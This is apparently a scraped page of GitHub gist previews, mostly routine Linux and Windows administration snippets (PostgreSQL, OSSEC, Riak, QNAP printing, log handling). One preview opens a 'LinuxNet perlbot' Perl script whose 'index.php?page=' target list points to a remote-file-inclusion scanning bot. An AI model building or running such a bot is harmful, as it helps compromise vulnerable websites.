This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
yum localinstall http://yum.postgresql.org/9.1/redhat/rhel-6-x86_64/pgdg-centos91-9.1-4.noarch.rpm | |
yum install postgresql91 postgresql91-server | |
service postgresql-9.1 initdb | |
chkconfig postgresql-9.1 on | |
service postgresql-9.1 start | |
su - postgres | |
/usr/pgsql-9.1/bin/psql | |
mcedit /var/lib/pgsql/9.1/data/pg_hba.conf |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Для нормальной работы на моем Qnap нужно временно поставить сторонний софт | |
ipkg install samba34 | |
ipkg install cups | |
После достижения конечной цели - следует снести! | |
1. Берем ноут с виндой и воткнутым настроенным расшаренным принтером. | |
Заходим в свойства и в разделе "Доступ" -> "Дополнительные драйверы", проставляем галочки на x86 и x64. Кормим диск с дровами. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
wget -O - http://ossec.alienvault.com/repos/apt/conf/ossec-key.gpg.key | apt-key add - | |
echo "deb http://ossec.alienvault.com/repos/apt/debian wheezy main" > /etc/apt/sources.list.d/ossec.list | |
apt-get update | |
apt-get install ossec-hids-agent ossec-hids |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sleep 1s | |
curl -XPUT http://127.0.0.1:8098/buckets/memcache_15min/props \ | |
-H "Content-Type: application/json" \ | |
-d '{"props":{"backend":"memcache_15min"}}' | |
curl -XPUT http://127.0.0.1:8098/buckets/memcache_30min/props \ | |
-H "Content-Type: application/json" \ | |
-d '{"props":{"backend":"memcache_30min"}}' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
%% Riak KV config | |
{riak_kv, [ | |
%% Storage_backend specifies the Erlang module defining the storage | |
%% mechanism that will be used on this node. | |
%% {storage_backend, riak_kv_bitcask_backend}, | |
{storage_backend, riak_kv_multi_backend}, | |
{multi_backend_default, <<"eleveldb_mult">>}, | |
{multi_backend, [ | |
{<<"eleveldb_mult">>, riak_kv_eleveldb_backend, [ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/perl | |
# ------------------------------------------------------------- # | |
# LinuxNet perlbot # | |
# ------------------------------------------------------------- # | |
my $processo = '-'; | |
my @titi = ("index.php?page=","main.php?page="); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
# OpenSSL requires the port number. | |
SERVER=1.1.1.1:443 | |
DELAY=1 | |
ciphers=$(openssl ciphers 'ALL:eNULL' | sed -e 's/:/ /g') | |
# ========= main ============= | |
echo Obtaining cipher list from $(openssl version). |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
for ext in css js | |
do | |
find /var/www -type f -name "*.${ext}" | while read f | |
do | |
gzip -c9 "$f" > "$f.gz.new" | |
diff "$f.gz.new" "$f.gz" 2>/dev/null && rm -f "$f.gz.new" || mv -vf "$f.gz.new" "$f.gz" | |
done | |
done |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$adir = "L:\ARCHIVE" | |
$subdir = get-date -uformat "%Y.%m.%d" | |
New-Item -ItemType directory -Path $adir\$subdir | out-null | |
$elogs = (wevtutil el) | |
foreach ($i in $elogs) | |
{ | |
$in = $i -replace " ","_" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
color=`echo -e '\e[1;33m'` | |
rst=`echo -e '\e[0m'` | |
tail /var/log/squid/access.log -f -n999 | perl -p -e 's/^([0-9\.]*)/"[".localtime($1)."]"/e' | sed -e "s#.*_HIT/.*#${color}&${rst}#" |